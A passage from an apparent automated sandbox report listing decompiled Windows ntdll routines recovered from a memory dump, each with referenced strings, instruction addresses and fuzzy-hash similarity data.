						E00A1FA60( &_v1072, 0, 0x2cc);
						_push( &_v1072);
						E00A2DDD0( &_v1072, _t75, _t79, _t80, _t81);
						E00A60C30(0, _t75, _t80,  &_v1152,  &_v1072, 2);
						_push(_v1152);
						_push(0xffffffff);
						E00A197C0();
					}
					return E00A1B640(0xc0000135, 0, _v12 ^ _t82, _t79, _t80, _t81);
				}
				_t79 =  &_v352;
				_t81 = E00A53971(0, _a4,  &_v352,  &_v1156);
				if(_t81 < 0) {
					goto L11;
				}
				_t75 = _v1156;
				_t79 =  &_v1160;
				_t81 = E00A53884(_v1156,  &_v1160,  &_v1168);
				if(_t81 >= 0) {
					_t80 = _v1160;
					E00A1FA60( &_v96, 0, 0x50);
					_t83 = _t83 + 0xc;
					_push( &_v1180);
					_push(0x50);
					_push( &_v96);
					_push(2);
					_push( &_v1176);
					_push(_v1156);
					_t81 = E00A19650();
					if(_t81 >= 0) {
						if(_v92 != 3 || _v88 == 0) {
							_t81 = 0xc000090b;
						}
						if(_t81 >= 0) {
							_t75 = _a4;
							_t79 =  &_v352;
							E00A53787(_a4,  &_v352, _t80);
						}
					}
					L009F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v1168);
				}
				_push(_v1156);
				E00A195D0();
				if(_t81 >= 0) {
					goto L12;
				} else {
					goto L11;
				}
			}

0x00a53552
0x00a5355a
0x00a5355d
0x00a53566
0x00a53567
0x00a5357e
0x00a5358f
0x00a535a1
0x00a535a5
0x00a5366b
0x00a5366b
0x00a5366d
0x00a53672
0x00a53679
0x00a53685
0x00a5368d
0x00a5369d
0x00a536a7
0x00a536b8
0x00a536c6
0x00a536c7
0x00a536dc
0x00a536e1
0x00a536e7
0x00a536e9
0x00a536e9
0x00a53703
0x00a53703
0x00a535b5
0x00a535c0
0x00a535c4
0x00000000
0x00000000
0x00a535ca
0x00a535d7
0x00a535e2
0x00a535e6
0x00a535e8
0x00a535f5
0x00a535fa
0x00a53603
0x00a53604
0x00a53609
0x00a5360a
0x00a53612
0x00a53613
0x00a5361e
0x00a53622
0x00a53628
0x00a5362f
0x00a5362f
0x00a53636
0x00a53638
0x00a5363b
0x00a53642
0x00a53642
0x00a53636
0x00a53657
0x00a53657
0x00a5365c
0x00a53662
0x00a53669
0x00000000
0x00000000
0x00000000
0x00000000

Strings

BinaryHash, xrefs: 00A5358F

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID: BinaryHash
API String ID: 0-2202222882
Opcode ID: d244e5b90c18e800614e32a4228bd2dce15e92bac0db1fc10f129515ab187fc5
Instruction ID: c27e6ab1ac1b801a52e393608aeb9df6d845a71ed089408dab6203d933a880f5
Opcode Fuzzy Hash: d244e5b90c18e800614e32a4228bd2dce15e92bac0db1fc10f129515ab187fc5
Instruction Fuzzy Hash: 674132B2D0152CAADF21DA54CD81FEEB77CAB44754F0045A5FA09AB241DB709F888FA4

Uniqueness

Uniqueness Score: -1.00%

Function 00AA05AC, Relevance: 1.4, Strings: 1, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E00AA05AC(signed int* __ecx, signed int __edx, void* __eflags, signed int _a4, signed int _a8) {
				signed int _v20;
				char _v24;
				signed int _v28;
				char _v32;
				signed int _v36;
				intOrPtr _v40;
				void* __ebx;
				void* _t35;
				signed int _t42;
				char* _t48;
				signed int _t59;
				signed char _t61;
				signed int* _t79;
				void* _t88;

				_v28 = __edx;
				_t79 = __ecx;
				if(E00AA07DF(__ecx, __edx,  &_a4,  &_a8, 0) == 0) {
					L13:
					_t35 = 0;
					L14:
					return _t35;
				}
				_t61 = __ecx[1];
				_t59 = __ecx[0xf];
				_v32 = (_a4 << 0xc) + (__edx - ( *__ecx & __edx) >> 4 << _t61) + ( *__ecx & __edx);
				_v36 = _a8 << 0xc;
				_t42 =  *(_t59 + 0xc) & 0x40000000;
				asm("sbb esi, esi");
				_t88 = ( ~_t42 & 0x0000003c) + 4;
				if(_t42 != 0) {
					_push(0);
					_push(0x14);
					_push( &_v24);
					_push(3);
					_push(_t59);
					_push(0xffffffff);
					if(E00A19730() < 0 || (_v20 & 0x00000060) == 0 || _v24 != _t59) {
						_push(_t61);
						E00A9A80D(_t59, 1, _v20, 0);
						_t88 = 4;
					}
				}
				_t35 = E00A9A854( &_v32,  &_v36, 0, 0x1000, _t88, 0,  *((intOrPtr*)(_t79 + 0x34)),  *((intOrPtr*)(_t79 + 0x38)));
				if(_t35 < 0) {
					goto L14;
				}
				E00AA1293(_t79, _v40, E00AA07DF(_t79, _v28,  &_a4,  &_a8, 1));
				if(E009F7D50() == 0) {
					_t48 = 0x7ffe0380;
				} else {
					_t48 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				}
				if( *_t48 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
					E00A9138A(_t59,  *((intOrPtr*)(_t79 + 0x3c)), _v32, _v36, 0xa);
				}
				goto L13;
			}

0x00aa05c5
0x00aa05ca
0x00aa05d3
0x00aa06db
0x00aa06db
0x00aa06dd
0x00aa06e3
0x00aa06e3
0x00aa05dd
0x00aa05e7
0x00aa05f6
0x00aa0600
0x00aa0607
0x00aa0610
0x00aa0615
0x00aa061a
0x00aa061c
0x00aa061e
0x00aa0624
0x00aa0625
0x00aa0627
0x00aa0628
0x00aa0631
0x00aa0640
0x00aa064d
0x00aa0654
0x00aa0654
0x00aa0631
0x00aa066d
0x00aa0674
0x00000000
0x00000000
0x00aa0692
0x00aa069e
0x00aa06b0
0x00aa06a0
0x00aa06a9
0x00aa06a9
0x00aa06b8
0x00aa06d6
0x00aa06d6
0x00000000

Strings

`, xrefs: 00AA0633

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 39b8bc2de1f442ef1f569125be10905dd0dd778863a6d43cfec09233fd0d58f3
Instruction ID: 4db70e45879f93de4e2f778944e80be8dad8b49b7428130c513c13f30ffa0391
Opcode Fuzzy Hash: 39b8bc2de1f442ef1f569125be10905dd0dd778863a6d43cfec09233fd0d58f3
Instruction Fuzzy Hash: F731DF327047056BE720DF24CD85F9B77D9AB85758F044229BA589B2C0E7B0E914CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00A53884, Relevance: 1.3, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00A53884(intOrPtr __ecx, intOrPtr* __edx, intOrPtr* _a4) {
				char _v8;
				intOrPtr _v12;
				intOrPtr* _v16;
				char* _v20;
				short _v22;
				char _v24;
				intOrPtr _t38;
				short _t40;
				short _t41;
				void* _t44;
				intOrPtr _t47;
				void* _t48;

				_v16 = __edx;
				_t40 = 0x14;
				_v24 = _t40;
				_t41 = 0x16;
				_v22 = _t41;
				_t38 = 0;
				_v12 = __ecx;
				_push( &_v8);
				_push(0);
				_push(0);
				_push(2);
				_t43 =  &_v24;
				_v20 = L"BinaryName";
				_push( &_v24);
				_push(__ecx);
				_t47 = 0;
				_t48 = E00A19650();
				if(_t48 >= 0) {
					_t48 = 0xc000090b;
				}
				if(_t48 != 0xc0000023) {
					_t44 = 0;
					L13:
					if(_t48 < 0) {
						L16:
						if(_t47 != 0) {
							L009F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t44, _t47);
						}
						L18:
						return _t48;
					}
					 *_v16 = _t38;
					 *_a4 = _t47;
					goto L18;
				}
				_t47 = L009F4620(_t43,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v8);
				if(_t47 != 0) {
					_push( &_v8);
					_push(_v8);
					_push(_t47);
					_push(2);
					_push( &_v24);
					_push(_v12);
					_t48 = E00A19650();
					if(_t48 < 0) {
						_t44 = 0;
						goto L16;
					}
					if( *((intOrPtr*)(_t47 + 4)) != 1 ||  *(_t47 + 8) < 4) {
						_t48 = 0xc000090b;
					}
					_t44 = 0;
					if(_t48 < 0) {
						goto L16;
					} else {
						_t17 = _t47 + 0xc; // 0xc
						_t38 = _t17;
						if( *((intOrPtr*)(_t38 + ( *(_t47 + 8) >> 1) * 2 - 2)) != 0) {
							_t48 = 0xc000090b;
						}
						goto L13;
					}
				}
				_t48 = _t48 + 0xfffffff4;
				goto L18;
			}

0x00a53893
0x00a53896
0x00a53899
0x00a5389f
0x00a538a0
0x00a538a4
0x00a538a9
0x00a538ac
0x00a538ad
0x00a538ae
0x00a538af
0x00a538b1
0x00a538b4
0x00a538bb
0x00a538bc
0x00a538bd
0x00a538c4
0x00a538c8
0x00a538ca
0x00a538ca
0x00a538d5
0x00a5393e
0x00a53940
0x00a53942
0x00a53952
0x00a53954
0x00a53961
0x00a53961
0x00a53967
0x00a5396e
0x00a5396e
0x00a53947
0x00a5394c
0x00000000
0x00a5394c
0x00a538ea
0x00a538ee
0x00a538f8
0x00a538f9
0x00a538ff
0x00a53900
0x00a53902
0x00a53903
0x00a5390b
0x00a5390f
0x00a53950
0x00000000
0x00a53950
0x00a53915
0x00a5391d
0x00a5391d
0x00a53922
0x00a53926
0x00000000
0x00a53928
0x00a5392b
0x00a5392b
0x00a53935
0x00a53937
0x00a53937
0x00000000
0x00a53935
0x00a53926
0x00a538f0
0x00000000

Strings

BinaryName, xrefs: 00A538B4

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID: BinaryName
API String ID: 0-215506332
Opcode ID: 700b874d418b0dd3da9b3a0dc9d56c68abdc2e9c47e75d30d847ebc45872f836
Instruction ID: 18cf17834059fb6e52eebb64cb1b13699f9786683ef42366dc09bde0357be299
Opcode Fuzzy Hash: 700b874d418b0dd3da9b3a0dc9d56c68abdc2e9c47e75d30d847ebc45872f836
Instruction Fuzzy Hash: 9731FFB3901519EBEF159B59C951EABB774FB80BA0F014129ED14A7240D7709F08C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00A0D294, Relevance: 1.3, Strings: 1, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 33%

			E00A0D294(void* __ecx, char __edx, void* __eflags) {
				signed int _v8;
				char _v52;
				signed int _v56;
				signed int _v60;
				intOrPtr _v64;
				char* _v68;
				intOrPtr _v72;
				char _v76;
				signed int _v84;
				intOrPtr _v88;
				char _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				char _v104;
				char _v105;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t35;
				char _t38;
				signed int _t40;
				signed int _t44;
				signed int _t52;
				void* _t53;
				void* _t55;
				void* _t61;
				intOrPtr _t62;
				void* _t64;
				signed int _t65;
				signed int _t66;

				_t68 = (_t66 & 0xfffffff8) - 0x6c;
				_v8 =  *0xacd360 ^ (_t66 & 0xfffffff8) - 0x0000006c;
				_v105 = __edx;
				_push( &_v92);
				_t52 = 0;
				_push(0);
				_push(0);
				_push( &_v104);
				_push(0);
				_t59 = __ecx;
				_t55 = 2;
				if(E009F4120(_t55, __ecx) < 0) {
					_t35 = 0;
					L8:
					_pop(_t61);
					_pop(_t64);
					_pop(_t53);
					return E00A1B640(_t35, _t53, _v8 ^ _t68, _t59, _t61, _t64);
				}
				_v96 = _v100;
				_t38 = _v92;
				if(_t38 != 0) {
					_v104 = _t38;
					_v100 = _v88;
					_t40 = _v84;
				} else {
					_t40 = 0;
				}
				_v72 = _t40;
				_v68 =  &_v104;
				_push( &_v52);
				_v76 = 0x18;
				_push( &_v76);
				_v64 = 0x40;
				_v60 = _t52;
				_v56 = _t52;
				_t44 = E00A198D0();
				_t62 = _v88;
				_t65 = _t44;
				if(_t62 != 0) {
					asm("lock xadd [edi], eax");
					if((_t44 | 0xffffffff) != 0) {
						goto L4;
					}
					_push( *((intOrPtr*)(_t62 + 4)));
					E00A195D0();
					L009F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t52, _t62);
					goto L4;
				} else {
					L4:
					L009F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t52, _v96);
					if(_t65 >= 0) {
						_t52 = 1;
					} else {
						if(_t65 == 0xc0000043 || _t65 == 0xc0000022) {
							_t52 = _t52 & 0xffffff00 | _v105 != _t52;
						}
					}
					_t35 = _t52;
					goto L8;
				}
			}

0x00a0d29c
0x00a0d2a6
0x00a0d2b1
0x00a0d2b5
0x00a0d2b6
0x00a0d2bc
0x00a0d2bd
0x00a0d2be
0x00a0d2bf
0x00a0d2c2
0x00a0d2c4
0x00a0d2cc
0x00a0d384
0x00a0d34b
0x00a0d34f
0x00a0d350
0x00a0d351
0x00a0d35c
0x00a0d35c
0x00a0d2d6
0x00a0d2da
0x00a0d2e1
0x00a0d361
0x00a0d369
0x00a0d36d
0x00a0d2e3
0x00a0d2e3
0x00a0d2e3
0x00a0d2e5
0x00a0d2ed
0x00a0d2f5
0x00a0d2fa
0x00a0d302
0x00a0d303
0x00a0d30b
0x00a0d30f
0x00a0d313
0x00a0d318
0x00a0d31c
0x00a0d320
0x00a0d379
0x00a0d37d
0x00000000
0x00000000
0x00a4affe
0x00a4b001
0x00a4b011
0x00000000
0x00a0d322
0x00a0d322
0x00a0d330
0x00a0d337
0x00a0d35d
0x00a0d339
0x00a0d33f
0x00a0d38c
0x00a0d38c
0x00a0d33f
0x00a0d349
0x00000000
0x00a0d349

Strings

@, xrefs: 00A0D303

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: a0291773aaeec2b9f67dd9f4ec18da58f8a8691c6110d1e93d090083d9e68616
Instruction ID: 075df53bd0b3e63ac1a4f294a9ae7a97fbf3bf4d11e54a309c0b505f4a162786
Opcode Fuzzy Hash: a0291773aaeec2b9f67dd9f4ec18da58f8a8691c6110d1e93d090083d9e68616
Instruction Fuzzy Hash: EC31CFB65083099FC310DF68D981AABBBE8EBC9754F00092EF99497290D734DD04CB93

Uniqueness

Uniqueness Score: -1.00%

Function 009E1B8F, Relevance: 1.3, Strings: 1, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E009E1B8F(void* __ecx, intOrPtr __edx, intOrPtr* _a4, signed int* _a8) {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _t26;
				intOrPtr _t29;
				void* _t30;
				signed int _t31;

				_t27 = __ecx;
				_t29 = __edx;
				_t31 = 0;
				_v8 = __edx;
				if(__edx == 0) {
					L18:
					_t30 = 0xc000000d;
					goto L12;
				} else {
					_t26 = _a4;
					if(_t26 == 0 || _a8 == 0 || __ecx == 0) {
						goto L18;
					} else {
						E00A1BB40(__ecx,  &_v16, __ecx);
						_push(_t26);
						_push(0);
						_push(0);
						_push(_t29);
						_push( &_v16);
						_t30 = E00A1A9B0();
						if(_t30 >= 0) {
							_t19 =  *_t26;
							if( *_t26 != 0) {
								goto L7;
							} else {
								 *_a8 =  *_a8 & 0;
							}
						} else {
							if(_t30 != 0xc0000023) {
								L9:
								_push(_t26);
								_push( *_t26);
								_push(_t31);
								_push(_v8);
								_push( &_v16);
								_t30 = E00A1A9B0();
								if(_t30 < 0) {
									L12:
									if(_t31 != 0) {
										L009F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t31);
									}
								} else {
									 *_a8 = _t31;
								}
							} else {
								_t19 =  *_t26;
								if( *_t26 == 0) {
									_t31 = 0;
								} else {
									L7:
									_t31 = L009F4620(_t27,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t19);
								}
								if(_t31 == 0) {
									_t30 = 0xc0000017;
								} else {
									goto L9;
								}
							}
						}
					}
				}
				return _t30;
			}

0x009e1b8f
0x009e1b9a
0x009e1b9c
0x009e1b9e
0x009e1ba3
0x00a37010
0x00a37010
0x00000000
0x009e1ba9
0x009e1ba9
0x009e1bae
0x00000000
0x009e1bc5
0x009e1bca
0x009e1bcf
0x009e1bd0
0x009e1bd1
0x009e1bd2
0x009e1bd6
0x009e1bdc
0x009e1be0
0x00a36ffc
0x00a37000
0x00000000
0x00a37006
0x00a37009
0x00a37009
0x009e1be6
0x009e1bec
0x009e1c0b
0x009e1c0b
0x009e1c0c
0x009e1c11
0x009e1c12
0x009e1c15
0x009e1c1b
0x009e1c1f
0x009e1c31
0x009e1c33
0x00a37026
0x00a37026
0x009e1c21
0x009e1c24
0x009e1c24
0x009e1bee
0x009e1bee
0x009e1bf2
0x009e1c3a
0x009e1bf4
0x009e1bf4
0x009e1c05
0x009e1c05
0x009e1c09
0x009e1c3e
0x00000000
0x00000000
0x00000000
0x009e1c09
0x009e1bec
0x009e1be0
0x009e1bae
0x009e1c2e

Strings

WindowsExcludedProcs, xrefs: 009E1BC5

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID: WindowsExcludedProcs
API String ID: 0-3583428290
Opcode ID: 1bf07565f9293903005a3f3a42acb8b910e30ddc7b9aa6256cfa4b1325e2faca
Instruction ID: bccf54afa4325ba939c76ff62a3693d56ba56fd970dd0abe941e6cec5d8f8182
Opcode Fuzzy Hash: 1bf07565f9293903005a3f3a42acb8b910e30ddc7b9aa6256cfa4b1325e2faca
Instruction Fuzzy Hash: DB214677941668ABCB339A5AC940FAFB7ACEF85B20F254861FD44CB200D634DC00D7A0

Uniqueness

Uniqueness Score: -1.00%

Function 009FF716, Relevance: 1.3, Strings: 1, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E009FF716(signed int __ecx, void* __edx, intOrPtr _a4, intOrPtr* _a8) {
				intOrPtr _t13;
				intOrPtr _t14;
				signed int _t16;
				signed char _t17;
				intOrPtr _t19;
				intOrPtr _t21;
				intOrPtr _t23;
				intOrPtr* _t25;

				_t25 = _a8;
				_t17 = __ecx;
				if(_t25 == 0) {
					_t19 = 0xc00000f2;
					L8:
					return _t19;
				}
				if((__ecx & 0xfffffffe) != 0) {
					_t19 = 0xc00000ef;
					goto L8;
				}
				_t19 = 0;
				 *_t25 = 0;
				_t21 = 0;
				_t23 = "Actx ";
				if(__edx != 0) {
					if(__edx == 0xfffffffc) {
						L21:
						_t21 = 0x200;
						L5:
						_t13 =  *((intOrPtr*)( *[fs:0x30] + _t21));
						 *_t25 = _t13;
						L6:
						if(_t13 == 0) {
							if((_t17 & 0x00000001) != 0) {
								 *_t25 = _t23;
							}
						}
						L7:
						goto L8;
					}
					if(__edx == 0xfffffffd) {
						 *_t25 = _t23;
						_t13 = _t23;
						goto L6;
					}
					_t13 =  *((intOrPtr*)(__edx + 0x10));
					 *_t25 = _t13;
					L14:
					if(_t21 == 0) {
						goto L6;
					}
					goto L5;
				}
				_t14 = _a4;
				if(_t14 != 0) {
					_t16 =  *(_t14 + 0x14) & 0x00000007;
					if(_t16 <= 1) {
						_t21 = 0x1f8;
						_t13 = 0;
						goto L14;
					}
					if(_t16 == 2) {
						goto L21;
					}
					if(_t16 != 4) {
						_t19 = 0xc00000f0;
						goto L7;
					}
					_t13 = 0;
					goto L6;
				} else {
					_t21 = 0x1f8;
					goto L5;
				}
			}

0x009ff71d
0x009ff722
0x009ff726
0x00a44770
0x009ff765
0x009ff769
0x009ff769
0x009ff732
0x00a4477a
0x00000000
0x00a4477a
0x009ff738
0x009ff73a
0x009ff73c
0x009ff73f
0x009ff746
0x009ff778
0x009ff7a9
0x009ff7a9
0x009ff754
0x009ff75a
0x009ff75d
0x009ff75f
0x009ff761
0x009ff76f
0x009ff771
0x009ff771
0x009ff76f
0x009ff763
0x00000000
0x009ff763
0x009ff77d
0x009ff7a3
0x009ff7a5
0x00000000
0x009ff7a5
0x009ff77f
0x009ff782
0x009ff784
0x009ff786
0x00000000
0x00000000
0x00000000
0x009ff788
0x009ff748
0x009ff74d
0x009ff78d
0x009ff793
0x009ff7b7
0x009ff7bc
0x00000000
0x009ff7bc
0x009ff798
0x00000000
0x00000000
0x009ff79d
0x009ff7b0
0x00000000
0x009ff7b0
0x009ff79f
0x00000000
0x009ff74f
0x009ff74f
0x00000000
0x009ff74f

Strings

Actx , xrefs: 009FF73F

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID: Actx
API String ID: 0-89312691
Opcode ID: cab8534f536827ff815fb4cb330759623331881caaab8bc2b985bbf0910c65b8
Instruction ID: bae27f98d6fea578f7a75a95ea9e40ee1f2abac352645edff82554d0a2d08b0d
Opcode Fuzzy Hash: cab8534f536827ff815fb4cb330759623331881caaab8bc2b985bbf0910c65b8
Instruction Fuzzy Hash: 5F11E639304B0A8BE7246E1D84B0736F2D9EF95728F38493AE661DB3A0DB74DC018340

Uniqueness

Uniqueness Score: -1.00%

Function 00A88DF1, Relevance: 1.3, Strings: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E00A88DF1(void* __ebx, intOrPtr __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t35;
				void* _t41;

				_t40 = __esi;
				_t39 = __edi;
				_t38 = __edx;
				_t35 = __ecx;
				_t34 = __ebx;
				_push(0x74);
				_push(0xab0d50);
				E00A2D0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t41 - 0x7c)) = __edx;
				 *((intOrPtr*)(_t41 - 0x74)) = __ecx;
				if( *((intOrPtr*)( *[fs:0x30] + 2)) != 0 || ( *0x7ffe02d4 & 0 | ( *0x7ffe02d4 & 0x00000003) == 0x00000003) != 0) {
					E00A65720(0x65, 0, "Critical error detected %lx\n", _t35);
					if( *((intOrPtr*)(_t41 + 8)) != 0) {
						 *(_t41 - 4) =  *(_t41 - 4) & 0x00000000;
						asm("int3");
						 *(_t41 - 4) = 0xfffffffe;
					}
				}
				 *(_t41 - 4) = 1;
				 *((intOrPtr*)(_t41 - 0x70)) =  *((intOrPtr*)(_t41 - 0x74));
				 *((intOrPtr*)(_t41 - 0x6c)) = 1;
				 *(_t41 - 0x68) =  *(_t41 - 0x68) & 0x00000000;
				 *((intOrPtr*)(_t41 - 0x64)) = L00A2DEF0;
				 *((intOrPtr*)(_t41 - 0x60)) = 1;
				 *((intOrPtr*)(_t41 - 0x5c)) =  *((intOrPtr*)(_t41 - 0x7c));
				_push(_t41 - 0x70);
				L00A2DEF0(1, _t38);
				 *(_t41 - 4) = 0xfffffffe;
				return E00A2D130(_t34, _t39, _t40);
			}

0x00a88df1
0x00a88df1
0x00a88df1
0x00a88df1
0x00a88df1
0x00a88df1
0x00a88df3
0x00a88df8
0x00a88dfd
0x00a88e00
0x00a88e0e
0x00a88e2a
0x00a88e36
0x00a88e38
0x00a88e3c
0x00a88e46
0x00a88e46
0x00a88e36
0x00a88e50
0x00a88e56
0x00a88e59
0x00a88e5c
0x00a88e60
0x00a88e67
0x00a88e6d
0x00a88e73
0x00a88e74
0x00a88eb1
0x00a88ebd

Strings

Critical error detected %lx, xrefs: 00A88E21

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID: Critical error detected %lx
API String ID: 0-802127002
Opcode ID: 28163623d60365aefac1ca7597fd655845b78f1243860cb62920098d5cb455f9
Instruction ID: ce90472daf33b6e2d28f7f1d9fd3ec830ba5281979fe049bd7d7a3b388006129
Opcode Fuzzy Hash: 28163623d60365aefac1ca7597fd655845b78f1243860cb62920098d5cb455f9
Instruction Fuzzy Hash: 3F115B71D15748DFDF24DFA895067DDBBB0BB04714F20426DE469AB292CB744601CF14

Uniqueness

Uniqueness Score: -1.00%

Function 00A6FF10, Relevance: 1.3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

Strings

NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p, xrefs: 00A6FF60

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID: NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p
API String ID: 0-1911121157
Opcode ID: 2a1f4ac1d1df3569e9b5453ef6c6b0064ad8343802f84ad7048c21cd5fa6d4d0
Instruction ID: 9012926526f8c47acff0bb5e1a1038507b2d8e7117b894f4d974cb1ec72a2535
Opcode Fuzzy Hash: 2a1f4ac1d1df3569e9b5453ef6c6b0064ad8343802f84ad7048c21cd5fa6d4d0
Instruction Fuzzy Hash: AA11D271910584EFDF12DF64DE4AF98B7B1FF08704F258464F1096B6A2C7399980DB60

Uniqueness

Uniqueness Score: -1.00%

Function 00AA5BA5, Relevance: .6, Instructions: 592
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00AA5BA5(void* __ebx, signed char __ecx, signed int* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t296;
				signed char _t298;
				signed int _t301;
				signed int _t306;
				signed int _t310;
				signed char _t311;
				intOrPtr _t312;
				signed int _t313;
				void* _t327;
				signed int _t328;
				intOrPtr _t329;
				intOrPtr _t333;
				signed char _t334;
				signed int _t336;
				void* _t339;
				signed int _t340;
				signed int _t356;
				signed int _t362;
				short _t367;
				short _t368;
				short _t373;
				signed int _t380;
				void* _t382;
				short _t385;
				signed short _t392;
				signed char _t393;
				signed int _t395;
				signed char _t397;
				signed int _t398;
				signed short _t402;
				void* _t406;
				signed int _t412;
				signed char _t414;
				signed short _t416;
				signed int _t421;
				signed char _t427;
				intOrPtr _t434;
				signed char _t435;
				signed int _t436;
				signed int _t442;
				signed int _t446;
				signed int _t447;
				signed int _t451;
				signed int _t453;
				signed int _t454;
				signed int _t455;
				intOrPtr _t456;
				intOrPtr* _t457;
				short _t458;
				signed short _t462;
				signed int _t469;
				intOrPtr* _t474;
				signed int _t475;
				signed int _t479;
				signed int _t480;
				signed int _t481;
				short _t485;
				signed int _t491;
				signed int* _t494;
				signed int _t498;
				signed int _t505;
				intOrPtr _t506;
				signed short _t508;
				signed int _t511;
				void* _t517;
				signed int _t519;
				signed int _t522;
				void* _t523;
				signed int _t524;
				void* _t528;
				signed int _t529;

				_push(0xd4);
				_push(0xab1178);
				E00A2D0E8(__ebx, __edi, __esi);
				_t494 = __edx;
				 *(_t528 - 0xcc) = __edx;
				_t511 = __ecx;
				 *((intOrPtr*)(_t528 - 0xb4)) = __ecx;
				 *(_t528 - 0xbc) = __ecx;
				 *((intOrPtr*)(_t528 - 0xc8)) =  *((intOrPtr*)(_t528 + 0x20));
				_t434 =  *((intOrPtr*)(_t528 + 0x24));
				 *((intOrPtr*)(_t528 - 0xc4)) = _t434;
				_t427 = 0;
				 *(_t528 - 0x74) = 0;
				 *(_t528 - 0x9c) = 0;
				 *(_t528 - 0x84) = 0;
				 *(_t528 - 0xac) = 0;
				 *(_t528 - 0x88) = 0;
				 *(_t528 - 0xa8) = 0;
				 *((intOrPtr*)(_t434 + 0x40)) = 0;
				if( *(_t528 + 0x1c) <= 0x80) {
					__eflags =  *(__ecx + 0xc0) & 0x00000004;
					if(__eflags != 0) {
						_t421 = E00AA4C56(0, __edx, __ecx, __eflags);
						__eflags = _t421;
						if(_t421 != 0) {
							 *((intOrPtr*)(_t528 - 4)) = 0;
							E00A1D000(0x410);
							 *(_t528 - 0x18) = _t529;
							 *(_t528 - 0x9c) = _t529;
							 *((intOrPtr*)(_t528 - 4)) = 0xfffffffe;
							E00AA5542(_t528 - 0x9c, _t528 - 0x84);
						}
					}
					_t435 = _t427;
					 *(_t528 - 0xd0) = _t435;
					_t474 = _t511 + 0x65;
					 *((intOrPtr*)(_t528 - 0x94)) = _t474;
					_t511 = 0x18;
					while(1) {
						 *(_t528 - 0xa0) = _t427;
						 *(_t528 - 0xbc) = _t427;
						 *(_t528 - 0x80) = _t427;
						 *(_t528 - 0x78) = 0x50;
						 *(_t528 - 0x79) = _t427;
						 *(_t528 - 0x7a) = _t427;
						 *(_t528 - 0x8c) = _t427;
						 *(_t528 - 0x98) = _t427;
						 *(_t528 - 0x90) = _t427;
						 *(_t528 - 0xb0) = _t427;
						 *(_t528 - 0xb8) = _t427;
						_t296 = 1 << _t435;
						_t436 =  *(_t528 + 0xc) & 0x0000ffff;
						__eflags = _t436 & _t296;
						if((_t436 & _t296) != 0) {
							goto L92;
						}
						__eflags =  *((char*)(_t474 - 1));
						if( *((char*)(_t474 - 1)) == 0) {
							goto L92;
						}
						_t301 =  *_t474;
						__eflags = _t494[1] - _t301;
						if(_t494[1] <= _t301) {
							L10:
							__eflags =  *(_t474 - 5) & 0x00000040;
							if(( *(_t474 - 5) & 0x00000040) == 0) {
								L12:
								__eflags =  *(_t474 - 0xd) & _t494[2] |  *(_t474 - 9) & _t494[3];
								if(( *(_t474 - 0xd) & _t494[2] |  *(_t474 - 9) & _t494[3]) == 0) {
									goto L92;
								}
								_t442 =  *(_t474 - 0x11) & _t494[3];
								__eflags = ( *(_t474 - 0x15) & _t494[2]) -  *(_t474 - 0x15);
								if(( *(_t474 - 0x15) & _t494[2]) !=  *(_t474 - 0x15)) {
									goto L92;
								}
								__eflags = _t442 -  *(_t474 - 0x11);
								if(_t442 !=  *(_t474 - 0x11)) {
									goto L92;
								}
								L15:
								_t306 =  *(_t474 + 1) & 0x000000ff;
								 *(_t528 - 0xc0) = _t306;
								 *(_t528 - 0xa4) = _t306;
								__eflags =  *0xac60e8;
								if( *0xac60e8 != 0) {
									__eflags = _t306 - 0x40;
									if(_t306 < 0x40) {
										L20:
										asm("lock inc dword [eax]");
										_t310 =  *0xac60e8; // 0x0
										_t311 =  *(_t310 +  *(_t528 - 0xa4) * 8);
